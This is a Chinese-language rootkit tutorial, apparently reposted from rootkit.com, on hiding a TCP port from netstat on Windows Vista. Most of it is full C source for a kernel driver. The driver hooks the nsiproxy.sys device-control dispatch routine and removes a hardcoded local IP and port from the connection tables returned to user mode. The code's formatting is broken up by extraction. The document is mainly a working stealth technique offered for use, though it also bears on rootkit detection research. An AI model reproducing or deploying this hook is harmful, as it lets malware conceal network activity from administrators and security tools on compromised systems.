作者 :cardmagic
原文链接:http://www.rootkit.com/newsread.php?newsid=735
Windows Vista 的网络模块较从前发生了很大变化 , 从而导致很多旧的端口隐藏工具无法使用 .
本文将介绍一种简单的在 Vista 下隐藏端口的方法 , 希望对大家有所帮助 .
事实上在 Vista 下 netstat.exe 调用 Iphlpapi.dll 导出的InternalGetTcpTable2 函数实现对所有打开端口的列举. InternalGetTcpTable2 随后调用由nsi.dll 导出的NsiAllocateAndGetTable 函数,nsi.dll 则调用NsiEnumerateObjectsAllParametersEx 向nsiproxy.sys 发送Irp 最终转入内核. 而nsiproxy.sys 又只是对netio.sys 的简单封装, 它最终调用了netio.sys 导出的内核服务例程.
我们将通过使用“ 挂钩NSI 内核模块派遣例程” 这样一种比较简单的方法, 来演示如何隐藏Vista 的指定端口. 挂钩派遣例程是一个老话题了, 这次我们将他应用于nsiproxy.sys. 请注意在钩子中对NSI 内容的过虑处理:)
下面是代码( 注意: 我只在Windows Vista RTM 32bit 系统下进行了测试):
/**/
///
//
Filename: PortHidDemo_Vista.c
//
//
Author: CardMagic(Edward)
//
Email: sunmy1@sina.com
//
MSN: onlyonejazz at hotmail.com
//
//
Description:
//
A Demostration Of Hiding
//
Specified Port Under Windows Vista RTM 32bit.
//
Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 compatible
//
//
#include
"
stdlib.h
"
#include
"
ntifs.h
"
unsigned
short
htons(unsigned
short
hostshort); unsigned
long
inet_addr(
const
char
*
name); typedef unsigned
long
DWORD;
#define
LOCALHIDEIP "10.28.157.71"
#define
LOCALHIDEPORT 139
#define
IOCTL_NSI_GETALLPARAM 0x12001B
extern
POBJECT_TYPE
*
IoDeviceObjectType,
*
IoDriverObjectType; PDRIVER_OBJECT pNsiDrvObj
=
0
; PDRIVER_DISPATCH orgNsiDeviceIoControl
=
0
; DWORD gLocalPort
=
0
,gLocalIp
=
0
; typedef
struct
_HP_CONTEXT
...
{ PIO_COMPLETION_ROUTINE oldIocomplete; PVOID oldCtx; BOOLEAN bShouldInvolve; PKPROCESS pcb; }
HP_CONTEXT,
*
PHP_CONTEXT; typedef
struct
_INTERNAL_TCP_TABLE_SUBENTRY
...
{ char bytesfill0[ 2 ]; USHORT Port; DWORD dwIP; char bytesfill[ 20 ]; }
INTERNAL_TCP_TABLE_SUBENTRY,
*
PINTERNAL_TCP_TABLE_SUBENTRY; typedef
struct
_INTERNAL_TCP_TABLE_ENTRY
...
{ INTERNAL_TCP_TABLE_SUBENTRY localEntry; INTERNAL_TCP_TABLE_SUBENTRY remoteEntry; }
INTERNAL_TCP_TABLE_ENTRY,
*
PINTERNAL_TCP_TABLE_ENTRY; typedef
struct
_NSI_STATUS_ENTRY
...
{ char bytesfill[ 12 ]; }
NSI_STATUS_ENTRY,
*
PNSI_STATUS_ENTRY; typedef
struct
_NSI_PARAM
...
{ // // Total 3CH size // DWORD UnknownParam1; DWORD UnknownParam2; DWORD UnknownParam3; DWORD UnknownParam4; DWORD UnknownParam5; DWORD UnknownParam6; PVOID lpMem; DWORD UnknownParam8; DWORD UnknownParam9; DWORD UnknownParam10; PNSI_STATUS_ENTRY lpStatus; DWORD UnknownParam12; DWORD UnknownParam13; DWORD UnknownParam14; DWORD TcpConnCount; }
NSI_PARAM,
*
PNSI_PARAM; unsigned
short
htons(unsigned
short
a)
...
{ unsigned short b = a; b = ( b << 8 ); a = ( a >> 8 ); return ( a | b ); }
; unsigned
long
inet_addrt(
const
char
*
name)
...
{ int i,j,p; int len = strlen(name); unsigned long temp_val[ 4 ]; char namesec[ 10 ] ; for (i = 0 ,j = 0 ,p = 0 ;i < len;i ++ ) ... { memset(namesec, 0 , 10 ); if ( ' . ' == name[i]) ... { if (p) strncpy(namesec,name + p + 1 ,i - p); else strncpy(namesec,name,i); temp_val[j] = atoi(namesec); j ++ ; p = i; } } strncpy(namesec,name+ p + 1 ,i - p); temp_val[j] = atoi(namesec); return (temp_val[ 0 ] | (temp_val[ 1 ] << 8 ) | (temp_val[ 2 ] << 16 ) | (temp_val[ 3 ] << 24 )); }
NTSTATUS HPCompletion( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context )
...
{ PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp); PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp); PHP_CONTEXT pCtx = Context; PNSI_PARAM nsiParam; int i; if (NT_SUCCESS(Irp -> IoStatus.Status)) ... { nsiParam = Irp -> UserBuffer; if (MmIsAddressValid(nsiParam -> lpMem)) ... { // // netstat will involve internal calls which will use // nsiParam structure // if ( (nsiParam -> UnknownParam8 == 0x38 )) ... { KAPC_STATE apcstate; PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam -> lpStatus; PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsiParam -> lpMem; int nItemCnt = nsiParam -> TcpConnCount; KeStackAttachProcess(pCtx -> pcb, & apcstate); // // make sure we are in the context of original process // for (i = 0 ;i < nItemCnt;i ++ ) ... { if ((pTcpEntry[i].localEntry.dwIP == gLocalIp) && (pTcpEntry[i].localEntry.Port == gLocalPort)) ... { // // NSI will map status array entry to tcp table array entry // we must modify both synchronously // RtlCopyMemory( & pTcpEntry[i], & pTcpEntry[i + 1 ], sizeof (INTERNAL_TCP_TABLE_ENTRY) * (nItemCnt - i)); RtlCopyMemory( & pStatusEntry[i], & pStatusEntry[i + 1 ], sizeof (NSI_STATUS_ENTRY) * (nItemCnt - i)); nItemCnt -- ; nsiParam -> TcpConnCount -- ; i -- ; } } KeUnstackDetachProcess(& apcstate); } } } irpspNext-> Context = pCtx -> oldCtx; irpspNext -> CompletionRoutine = pCtx -> oldIocomplete; // // free the fake context // ExFreePool(Context); if (pCtx -> bShouldInvolve) return irpspNext -> CompletionRoutine(DeviceObject,Irp,Context); else ... { if (Irp -> PendingReturned) ... { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } }
NTSTATUS ObReferenceObjectByName ( IN PUNICODE_STRING ObjectName, IN ULONG Attributes, IN PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID
*
Object ); NTSTATUS HPUnload(IN PDRIVER_OBJECT DriverObject)
...
{ LARGE_INTEGER waittime; waittime.QuadPart = - 50 * 1000 * 1000 ; InterlockedExchange( & (pNsiDrvObj -> MajorFunction[IRP_MJ_DEVICE_CONTROL]), orgNsiDeviceIoControl); // // delay loading driver to make it more secure // KeDelayExecutionThread(KernelMode, 0 , & waittime); return STATUS_SUCCESS; }
NTSTATUS HPDummyDeviceIoControl( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
...
{ ULONG ioControlCode; PIO_STACK_LOCATION irpStack; ULONG status; irpStack = IoGetCurrentIrpStackLocation(Irp); ioControlCode = irpStack -> Parameters.DeviceIoControl.IoControlCode; if (IOCTL_NSI_GETALLPARAM == ioControlCode) ... { if (irpStack -> Parameters.DeviceIoControl.InputBufferLength == sizeof (NSI_PARAM)) ... { // // only care the related I/O // PHP_CONTEXT ctx = (HP_CONTEXT * )ExAllocatePool(NonPagedPool, sizeof (HP_CONTEXT)); ctx -> oldIocomplete = irpStack -> CompletionRoutine; ctx -> oldCtx = irpStack -> Context; irpStack -> CompletionRoutine = HPCompletion; irpStack -> Context = ctx; ctx -> pcb = IoGetCurrentProcess(); if ((irpStack -> Control & SL_INVOKE_ON_SUCCESS) == SL_INVOKE_ON_SUCCESS) ctx -> bShouldInvolve = TRUE; else ctx-> bShouldInvolve = FALSE; irpStack -> Control |= SL_INVOKE_ON_SUCCESS; } } // // call original I/O control routine // status = orgNsiDeviceIoControl(DeviceObject,Irp); return status; }
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
...
{ int i; NTSTATUS status; UNICODE_STRING uniNsiDrvName; #if DBG _asm int 3 // debug #endif DriverObject-> DriverUnload = HPUnload; RtlInitUnicodeString( & uniNsiDrvName,L " /Driver/nsiproxy " ); status = ObReferenceObjectByName( & uniNsiDrvName,OBJ_CASE_INSENSITIVE,NULL, 0 , * IoDriverObjectType,KernelMode,NULL, & pNsiDrvObj); if ( ! NT_SUCCESS(status)) ... { return STATUS_SUCCESS; } // // store the original dispatch function of NSI driver // orgNsiDeviceIoControl = pNsiDrvObj -> MajorFunction[IRP_MJ_DEVICE_CONTROL]; gLocalIp = inet_addrt(LOCALHIDEIP); gLocalPort = htons(LOCALHIDEPORT); // // hook NSI dispatch routine // InterlockedExchange( & (pNsiDrvObj -> MajorFunction[IRP_MJ_DEVICE_CONTROL]), HPDummyDeviceIoControl); return STATUS_SUCCESS; }